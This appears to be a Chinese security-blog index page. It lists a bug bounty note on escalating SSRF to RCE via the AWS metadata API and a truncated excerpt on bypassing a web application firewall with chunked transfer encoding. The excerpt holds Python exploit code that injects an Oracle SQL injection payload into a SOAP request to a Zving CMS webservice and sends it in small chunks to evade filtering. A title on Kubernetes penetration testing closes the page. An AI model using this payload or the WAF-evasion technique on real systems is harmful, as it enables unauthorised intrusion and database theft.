【Bug Bounty 阅读笔记】【Synack】 Using AWS Metadata API to escalate SSRF to RCE

分块传输绕过 WAF <!–more–> 基本信息 import requests from io import BytesIO def read_in_chunks(file_object, chunk_size=3): while True: data = file_object.read(chunk_size) if not data: break yield data data = r”’&lt;soapenv:Envelope xmlns:soapenv=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:web=&quot;http://webservice.cms.zving.com&quot;&gt; &lt;soapenv:Header/&gt; &lt;soapenv:Body&gt; &lt;web:addCatalog&gt; &lt;web:in0&gt;2&lt;/web:in0&gt; &lt;web:in1&gt;{sql}&lt;/web:in1&gt; &lt;web:in2&gt;1&lt;/web:in2&gt; &lt;web:in3&gt;1&lt;/web:in3&gt; &lt;/web:addCatalog&gt; &lt;/soapenv:Body&gt; &lt;/soapenv:Envelope&gt;”’ sql = r&quot;’ or dbms_aw_xml.readawmetadata((select rawtohex(banner) from v$version where rownum=1), null) is null–&quot; data = BytesIO(data.format(sql=sql)) […]

针对 kubernetes / k8s 集群渗透测试